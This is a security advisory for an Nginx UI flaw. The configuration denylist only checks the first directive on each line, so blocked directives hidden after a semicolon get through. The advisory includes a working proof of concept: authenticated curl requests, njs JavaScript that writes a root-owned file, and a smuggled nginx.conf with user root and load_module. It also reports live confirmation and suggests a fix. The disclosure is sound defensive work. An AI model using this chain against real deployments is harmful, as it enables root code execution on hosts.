CVE-2026-84316

## Summary `config.ValidateConfigFile` is the security control that blocks dangerous nginx directives (`js_*`, `perl_*`, `load_module` of njs/perl modules, `user root`). Its directive scanner is bypassable: it splits the config by newlines and inspects only the FIRST token of each line, but nginx separates directives with `;`, not newlines. Putting a benign directive first and the blocked directive after a `;` on the SAME line defeats every check. The `include` directive is also not on the denylist. As a result, an authenticated caller can inject the exact directives the hardening was meant to block, through EVERY path that calls the validator — `POST /api/configs` (add), the REST config modify endpoint (api/config/modify.go), the MCP `nginx_config_modify` tool, and the site/stream save paths (internal/site/save.go, internal/stream/save.go). On deployments where nginx has the njs/perl module (the official uozi/nginx-ui Docker image ships ngx_http_js_module.so), this leads to code execution in the nginx worker; with `user root` the workers run as root. This is distinct from the config_add gap (the MCP nginx_config_add tool not calling the validator at all): here the validator IS called and still bypassed, so fixing config_add does not fix this. ## Root cause (internal/config/validation.go, ValidateConfigDirectives) ```go for _, line := range bytes.Split(content, []byte("\n")) { // splits on \n only trimmed := strings.TrimSpace(string(line)) ... directive := firstDirectiveToken(trimmed) // first [a-zA-Z_]* of the line if directive == "user" && configuresRootWorkers(trimmed) { ... } // keyed on first token if directive == "load_module" && loadsRestrictedDynamicModule(...) { ... } // keyed on first token if _, blocked := blockedConfigDirectives[directive]; blocked { ... } // keyed on first token } ``` nginx parses `a 1; b 2;` on one line as two directives, but this scanner only ever sees `a`. `include` is absent from `blockedConfigDirectives`. ## Proof of Concept (live, official image uozi/nginx-ui:2.3.11) — VALIDATED paths only Authenticated with a node secret (`X-Node-Secret`, from nginx-ui's first-boot log) or a user JWT. Every step below hits a path that calls ValidateConfigFile. 1) Baseline — validator works on a plain line: ``` curl -X POST http://HOST/api/configs -H "X-Node-Secret: $S" -H 'Content-Type: application/json' \ -d '{"name":"x.conf","base_dir":"","content":"js_import a.js;","overwrite":true}' # -> 40017 "file content contains restricted nginx directive: js_import" (REJECTED) ``` 2) Create the njs module file via the VALIDATED REST add (JS source is not nginx directives, so it passes ValidateConfigContent): ``` poc.conf: import fs from 'fs'; function pwn(r){ fs.writeFileSync('/tmp/NJS_VIA_DENYLIST_BYPASS.txt','denylist-bypass-rce-ok\n'); r.return(200,'pwned2\n'); } export default { pwn }; curl -X POST http://HOST/api/configs -H "X-Node-Secret: $S" -H 'Content-Type: application/json' \ -d '{"name":"poc.conf","base_dir":"","content":"<the JS above>","overwrite":true}' # ACCEPTED ``` 3) Overwrite the main nginx.conf via the VALIDATED `nginx_config_modify` MCP tool, smuggling each blocked directive after a benign one on the SAME line (this is ACCEPTED by ValidateConfigFile): ```nginx worker_processes 1; load_module /usr/lib/nginx/modules/ngx_http_js_module.so; error_log /var/log/nginx/error.log notice; user root; pid /run/nginx.pid; events { worker_connections 1024; } http { include /etc/nginx/mime.types; default_type application/octet-stream; js_import poc from /etc/nginx/poc.conf; server { listen 8897; location = /pwn3 { js_content poc.pwn; } } } ``` 4) Reload. Result: - `nginx -t` successful. - worker `/proc/<pid>/status` → `Uid: 0 0 0 0` (root) — the blocked `user root` took effect. - `GET http://127.0.0.1:8897/pwn3` → `pwned2` — js_content executed. - `/tmp/NJS_VIA_DENYLIST_BYPASS.txt` created, owned by root → njs code execution as root. (An MCP-over-SSE client for steps using nginx_config_modify is included in the config_add report as `poc_mcp_client.py`; the same client drives this PoC. `X-Node-Secret` authenticates both REST and MCP.) ## Impact Authenticated config-injection that defeats the directive-validation control on all guarded write paths. On deployments with njs/perl available (the official Docker image ships ngx_http_js_module.so): code execution in the nginx worker and, via `user root`, arbitrary file read/write as root (trivially escalated to full host compromise). On stock nginx without those modules: reliable DoS (failed reload) plus `user root` privilege regression. ## Honest scope / caveats - Authenticated (node secret or user JWT), agent-mediated — not unauthenticated. - What was live-verified: the bypass + full RCE on `POST /api/configs` (add) and the MCP `nginx_config_modify` tool. The other callers — REST config modify (api/config/modify.go), site save (internal/site/save.go), stream save (internal/stream/save.go) — invoke the SAME `ValidateConfigFile` (code-confirmed), so they are affected by construction; I did not individually live-test each. - RCE is conditional on the njs/perl module being present; it ships in the official image, so the default Docker deployment is exploitable. On stock nginx without those modules the injected `load_module`/`js_*` make reload fail → DoS plus a `user root` privilege regression (inferred from nginx module behavior; not separately tested on a stock build). - The `;` and `include` bypasses are fully confirmed live. A backslash line-continuation variant was accepted by the validator but its nginx parsing was not separately confirmed and is not relied on. - "Full host compromise" describes the capability of root file read/write via njs `fs` (proven: a root-owned file was written); the subsequent authorized_keys/cron step is a well-known escalation, not something this PoC executed. ## Suggested fix Do not hand-roll a newline/first-token denylist. Validate the way nginx parses: split statements on `;` (and handle blocks, comments, line continuations), validate EVERY statement, block/limit `include`, and recurse into included files — or validate via an allowlist and/or by running `nginx -t` on the candidate before activating it. ## Dedup / novelty Distinct from CVE-2026-33032 (unauthenticated MCP endpoint — an auth issue, now fixed) and from the separately reported config_add validation gap (a missing validator call on one path). This is a bypass of the validator itself, affecting every path that calls it; no existing CVE/GHSA covers it (checked osv.dev and the GitHub advisory database for this repo). Appears novel.

Nginx UI: nginx config directive denylist (ValidateConfigFile) is bypassable via same-line ";" separation → authenticated directive injection (RCE on the official image) in github.com/0xJacky/Nginx-UI